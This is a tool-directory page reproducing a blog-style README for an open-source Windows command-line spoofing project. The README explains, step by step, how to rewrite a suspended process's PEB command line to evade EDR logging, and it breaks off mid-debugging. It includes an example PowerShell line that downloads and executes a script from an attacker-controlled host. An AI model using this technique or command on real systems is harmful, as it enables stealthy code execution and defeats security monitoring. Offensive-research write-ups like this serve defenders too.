Baike.dev
All toolsOnline toolsAI codingTrendingOpen sourceNewsSubmit
Log in
< Back to tools
C

commandline_spoofing

> 编程语言
Open source

Commandline spoofing on Windows

100 stars0 likes0 views
WebsiteGitHub

About

Commandline spoofing on Windows

Commandline spoofing on Windows

So, in this blogpost I wanted to cover a well-known technique with a limitation that is not well-documented.
I hope to share some slight insights on Windows process creation and internals.
The topic of today is spoofing process commandlines on Windows.
To be relevant, I will only be describing the technique on 64-bit Intel architecture, which is the most prevalent Windows architecture in the world. The differences between that and other architectures are minor, and mostly come into play when examining the data structures used throughout the blogpost. Also, I will not be handling WOW64 at all, thus targeting true 64-bit processes only.
The differences are pretty minor though, and the reader is encouraged to attempt imiplementing my techniques on their own.
In this blogpost, I also maintain my own commandline spoofer implementation, under the CmdSpoofer directory.

Motivation

The technique's idea (which I haven't invented myself!) is to start a suspended process, wait a bit, and by modifying the process's memory - change its commandline and resume it.
The main motivation for spoofing commandlines on Windows is evading EDR detections.
Imagine an EDR that intercepts a process's commandline upon its creation and saves it in some cache - by changing the process's commandline later, an EDR might report something that looks benign but is actually malicious - think Living-off-the-land binaries (LOLBins) or even script engines:

Before

powershell -c "Write-Host 'This is a test'"

After

powershell -c "iex (New-Object System.Net.WebClient).DownloadString('http://attacker-controlled.com/evil.ps1')"

Note this example is not great since the length of the old commandline is smaller than the new commandline length - we will discuss that shortly.

Background - PEB, UNICODE_STRING and calling convention

I did mention what the PEB is in the past when I talked about shellcodes, but for the sake of completion, I will mention it briefly here too.
The Process Environment Block (PEB) is a semi-documented data structure in Windows, meant to be a semi userland copy of the kernel EPROCESS structure.
The motivation for keeping two structures is to save costs - for instance, by consulting the PEB, a process can know what DLLs are loaded to it or what commandline it has without consulting the kernel.
Specifically, we are going to care about the fact the process's commandline is also resident in its PEB.
Also note there is a well-known data structure for handling strings all across Windows (both in kernel and userland) - UNICODE_STRING. That data structure describes wide strings, and is not a flat structure:

c
typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

The Buffer points to the actual wide string (note it's just a pointer), while the Length corresponds to the string's length (in bytes), excluding the NUL terminator. Lastly, the MaximumLength corresponds to the string buffer's capacity (in bytes), including the NUL terminator.
Note: on 64-bit systems, there is a 4-byte padding between MaximumLength and Buffer to make the Buffer member 8-byte aligned.

Lastly, when debugging, we will be relying a bit on the 64-bit calling convention, which means first four arguments to functions are passed via registers rcx, rdx, r8 and r9.
This is again a clear 64-bit difference (32-bit calling conventions pass arguments on the stack).

Previous known work

In this section, I will try to describe the main logic that can be found in many places all over the internet.
Note I have found buggy implementations as well, so in this section I will try to be extra accurate.
Also, this algorithm (and all those proof-of-concepts) assume the old commandline length is not shorter than the new commandline length.
I will be diving deeply into that assumption later and see what could be done about it.
In any case, here is the complete algorithm:

  1. Validate that the length of the new commandline does not exceed the length of the old commandline. That assumption will become clear in bullet number 8.
  2. Create a new process using the CreateProcessW API, specifying CREATE_SUSPENDED in its creation flags and obviously using the old commandline. We get back two HANDLEs - one for the created process and one for the main (and only) thread.
  3. Optionally sleep for a while (e.g. using Sleep API) to let the EDR time to capture the old (and legitimate-looking) commandline.
  4. Use the ntdll!NtQueryInformationProcess API on the process handle, with the ProcessBasicInformation information class. We get back a PROCESS_BASIC_INFORMATION structure, which has the remote process's PEB address.
  5. Invoke the ReadProcessMemory API to read the remote process's PEB (since we got its address). Specifically, we care about the ProcessParameters structure, which is a pointer.
  6. Invoke the ReadProcessMemory API again, this time to read the ProcessParameters, of type RTL_USER_PROCESS_PARAMETERS. Just like the PEB, RTL_USER_PROCESS_PARAMETERS is a semi-documented structure. Most importantly, it contains a field called CommandLine, of type UNICODE_STRING.
  7. Note at this point we have CommandLine.MaximumLength (corresponds to the string buffer's capacity, in bytes, including a NUL terminator) and CommandLine.Length (corresponds to the string's length in characters, excluding the NUL terminator). We also have CommandLine.Buffer, which for all means and purposes - is a pointer.
  8. We use the WriteProcessMemory API to write our new commandline to CommandLine.Buffer. This is exactly where the assumption about the commandline lengths come into play - if the new commandline is longer than the old commandline, we write outside of the buffer!
  9. We use the WriteProcessMemory API again to update CommandLine.Length to the new length of the commandline (assuming it's different than the old commandline length).
  10. We call the ResumeThread API on the main thread's HANDLE, which resumes the entire process execution.
  11. For cleanup, we invoke the CloseHandle API on both the process and the thread HANDLEs.

To explain the data structures used schematically, here's some ASCII art:

…

What we basically do is resolve all those pointers, override the buffer (denoted as Commandline (PWSTR)) and fix CommandLine.Length.

Breaking the commandline length assumption

The assumption for the new commandline to not exceed the old commandline length seems a bit silly in a first glance - can we not allocate our own CommandLine.Buffer using VirtualAllocEx, write our own commandline there and set the buffer accordingly?
Interestingly, it does not work, but it takes a while to understand why. Here is the revised algorithm:

  1. Run steps 2-7 from the previous section, getting the CommandLine structure populated.
  2. Use the VirtualAllocEx API to allocate a new chunk for the new commandline, including a NUL terminator (note these are wide strings, so a NUL terminator is 2 bytes), with protection PAGE_READWRITE. Get a resulting allocated virtual address.
  3. Use the WriteProcessMemory API to write our new commandline to the address returned.
  4. Optionally use WriteProcessMemory API to zero-out the old buffer (pointed by CommandLine.Buffer). That is just to remove the old commandline from memory and is not really necessary for the algorithm.
  5. Update CommandLine.MaximumLength to the new capacity (the string's length in bytes including a NUL terminator), update CommandLine.Length to be the new length in bytes (excluding the NUL terminator), and CommandLine.Buffer to point to our newly allocated buffer.
  6. Use the WriteProcessMemory API to commit those changes to the remote process.
  7. As before, use ResumeThread to resume process execution, and CloseHandle for cleanup purposes.

This algorithm looks promising, and in fact, before calling ResumeThread, tools like ProcessExplorer will show the new commandline if refreshed, proving our algorithm works!
However, resuming the thread brings up a horrible truth, in an awful error message:

The application was unable to start correctly (0xC0000142). Click OK to close the application.

This requires some debugging, as our algorithm should work in principal!

Debugging the problem

At this point, I set up my debugger WinDbg and attach to the suspended process just before calling ResumeThread. As expected, everything actually seems to be in order:

…

However, after resumption we get a crash:

…

What's going on? We see a crash in ntdll!RtlUnicodeStringToAnsiString.
Debugging it further, it's obvious the input UNICODE_STRING is corrupted, e.g., when setting a breakpoint on RtlUnicodeStringToAnsiString and displaying the 2nd argument (rdx):

…

The Length and MaximumLength seem to be okay, but the buffer does not make sense, especially if comparing the buffer address we got from VirtualAllocEx and the value of t

Issues· 0 open

View all issuesOpen on GitHub

No open issues yet, or sync has not completed.

> Tags

C

No comments yet. Be the first to share.

> Details

PublishedAug 1, 2026
UpdatedSep 18, 2026
Category编程语言
PricingOpen source

> Related tools

T
TypeScript
JavaScript 的超集,为前端与全栈提供静态类型
P
Python
通用编程语言,广泛用于 Web、数据与 AI
G
Go
Google 推出的简洁高效系统语言